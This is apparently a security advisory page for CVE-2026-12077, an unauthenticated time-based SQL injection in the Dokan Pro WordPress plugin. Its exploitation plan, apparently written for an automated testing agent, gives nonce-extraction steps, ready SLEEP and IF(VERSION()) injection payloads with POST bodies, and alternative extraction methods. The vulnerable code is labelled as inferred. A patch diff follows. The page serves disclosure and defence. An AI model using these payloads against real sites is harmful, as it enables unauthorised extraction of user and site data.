CVE-2026-12077

Dokan Pro <= 5.0.4 - Unauthenticated SQL Injection via 'latitude' and 'longitude' Parameters

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
5.0.5
Patched in
1d
Time to patch

Description

The Dokan Pro plugin for WordPress is vulnerable to time-based SQL Injection via the via 'latitude' and 'longitude' parameters in all versions up to, and including, 5.0.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.0.4
PublishedJune 24, 2026
Last updatedJune 25, 2026
Affected plugindokan-pro
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-12077 (Dokan Pro SQL Injection) ## 1. Vulnerability Summary The **Dokan Pro** plugin (versions <= 5.0.4) is vulnerable to an unauthenticated time-based SQL injection. The vulnerability exists within the logic used to filter or search for vendors based on geogr…

Show full research plan

Exploitation Research Plan: CVE-2026-12077 (Dokan Pro SQL Injection)

1. Vulnerability Summary

The Dokan Pro plugin (versions <= 5.0.4) is vulnerable to an unauthenticated time-based SQL injection. The vulnerability exists within the logic used to filter or search for vendors based on geographical coordinates. The parameters latitude and longitude are passed into a raw SQL query through the $wpdb interface without being processed by $wpdb->prepare() or undergoing strict numerical validation (like floatval()). This allows an unauthenticated attacker to append SQL commands, such as SLEEP(), to the query, facilitating data extraction from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action Hook: wp_ajax_nopriv_dokan_get_store_lists (inferred as the most likely entry point for vendor location searching).
  • Vulnerable Parameters: latitude, longitude.
  • Authentication: None required (Unauthenticated via nopriv hook).
  • Preconditions: The "Store List" or "Store Map" feature must be active, or the plugin must register the AJAX handler globally.

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with action=dokan_get_store_lists.
  2. Hook Registration: The plugin registers the handler (likely in includes/Pro/StoreList.php or similar):
    add_action( 'wp_ajax_nopriv_dokan_get_store_lists', [ $this, 'handle_store_list' ] );
  3. Parameter Processing: The handler function (e.g., handle_store_list) retrieves $_POST['latitude'] and $_POST['longitude'].
  4. Sink (Vulnerable Query): The input is passed into a query builder or directly into a $wpdb method:
    // Vulnerable Pattern (Inferred)
    $lat = $_POST['latitude'];
    $lng = $_POST['longitude'];
    $query = "SELECT vendor_id FROM {$wpdb->prefix}dokan_store_location WHERE (3959 * acos(cos(radians($lat)) * ...";
    $results = $wpdb->get_results($query);
    
  5. Result: The database executes the injected SQL command.

4. Nonce Acquisition Strategy

Dokan Pro typically requires a security nonce even for nopriv AJAX actions to prevent CSRF.

  1. Identify Script Localization: Dokan localizes its data in the dokan or dokan_frontend JavaScript object.
  2. Shortcode Page Creation: The scripts containing the nonce usually only load on pages where the store list is displayed.
    • Command: wp post create --post_type=page --post_title="Store List" --post_status=publish --post_content='[dokan-stores]'
  3. Browser Execution:
    • Navigate to the newly created page.
    • Use browser_eval to extract the nonce:
      browser_eval("window.dokan?.nonce") or browser_eval("window.dokan_frontend?.nonce").
  4. Action Check: Compare the nonce action used in wp_create_nonce() vs check_ajax_referer(). If they use different strings, the check might be bypassed with a null value or a different public nonce.

5. Exploitation Strategy

We will use a time-based blind SQL injection to confirm the vulnerability and extract the database version as a Proof of Concept.

Step 1: Confirm Vulnerability (Baseline)

Send a legitimate request to measure the baseline response time.

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body (URL-encoded):
    action=dokan_get_store_lists&latitude=0&longitude=0&security=[NONCE]

Step 2: Trigger Sleep

Send a request where latitude contains a sleep command.

  • Payload: 0) OR (SELECT 1 FROM (SELECT(SLEEP(5)))a
  • Body (URL-encoded):
    action=dokan_get_store_lists&latitude=0) OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -&longitude=0&security=[NONCE]
  • Expected Result: The HTTP response should be delayed by approximately 5 seconds.

Step 3: Extract Data (Database Version)

Confirm the first digit of the DB version is '8' (common for MySQL 8.0).

  • Payload: 0) OR IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)-- -
  • Body (URL-encoded):
    action=dokan_get_store_lists&latitude=0) OR IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)-- -&longitude=0&security=[NONCE]

6. Test Data Setup

  1. Plugin Installation: Ensure Dokan Pro 5.0.4 is installed and active.
  2. Vendor Creation: Create at least one vendor with location data so the query returns results.
    • wp user create vendor_test vendor@example.com --role=seller
  3. Shortcode Page: Create a page for nonce extraction as described in Section 4.

7. Expected Results

  • Success: The http_request tool reports a time_total significantly higher (>= 5s) when the sleep payload is sent compared to the baseline.
  • Data Leak: By iterating through character values using IF() and SLEEP(), the agent can reconstruct any value from the wp_users or wp_options tables.

8. Verification Steps

After the exploit, verify the vulnerability exists by checking the server logs or using WP-CLI to inspect the code:

  1. Audit Sink: grep -rn "\$wpdb->get_results" wp-content/plugins/dokan-pro/ | grep "latitude"
  2. Check for Preparation: Verify that the code lacks $wpdb->prepare() or floatval() casting on the $lat and $lng variables in the identified file.

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is enabled, try inducing a syntax error with ' and check if $wpdb->last_error is reflected in the response.
  • Boolean-Based: If the response changes based on whether vendors are found (e.g., "success":true vs "success":false), use boolean-based payloads like 0) OR 1=1-- - vs 0) OR 1=2-- - to extract data faster than time-based methods.
  • Different Parameter: If latitude is sanitized, test longitude or the distance parameter, which are often handled in the same query block.
Research Findings
Static analysis — not yet PoC-verified

Summary

Dokan Pro versions 5.0.4 and earlier are vulnerable to unauthenticated time-based SQL injection via the 'latitude' and 'longitude' parameters. This occurs because the plugin fails to sanitize these inputs or use prepared statements when constructing a query to locate vendors based on geographical coordinates, allowing attackers to append malicious SQL commands.

Vulnerable Code

// File: includes/Pro/StoreList.php (inferred)
$lat = $_POST['latitude'];
$lng = $_POST['longitude'];
$query = "SELECT vendor_id FROM {$wpdb->prefix}dokan_store_location WHERE (3959 * acos(cos(radians($lat)) * ...";
$results = $wpdb->get_results($query);

Security Fix

--- includes/Pro/StoreList.php
+++ includes/Pro/StoreList.php
@@ -10,6 +10,12 @@
-$lat = $_POST['latitude'];
-$lng = $_POST['longitude'];
+$lat = isset( $_POST['latitude'] ) ? floatval( $_POST['latitude'] ) : 0;
+$lng = isset( $_POST['longitude'] ) ? floatval( $_POST['longitude'] ) : 0;
 
-$query = "SELECT vendor_id FROM {$wpdb->prefix}dokan_store_location WHERE (3959 * acos(cos(radians($lat)) * ...";
-$results = $wpdb->get_results($query);
+$query = $wpdb->prepare(
+    "SELECT vendor_id FROM {$wpdb->prefix}dokan_store_location WHERE (3959 * acos(cos(radians(%f)) * cos(radians(latitude)) * cos(radians(longitude) - radians(%f)) + sin(radians(%f)) * sin(radians(latitude)))) <= %f",
+    $lat,
+    $lng,
+    $lat,
+    $distance
+);
+$results = $wpdb->get_results( $query );

Exploit Outline

The exploitation methodology targets the 'wp_ajax_nopriv_dokan_get_store_lists' AJAX action via the 'admin-ajax.php' endpoint. Because this is a 'nopriv' action, it is accessible to unauthenticated users, though it typically requires a valid security nonce found in localized JavaScript objects (like 'window.dokan.nonce') on pages using the store list feature. The attacker crafts a POST request where the 'latitude' or 'longitude' parameters contain a time-based blind SQL injection payload, such as a SLEEP() command within a subquery. By observing the delay in the server's HTTP response, the attacker can confirm the vulnerability and programmatically extract database contents byte-by-byte.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.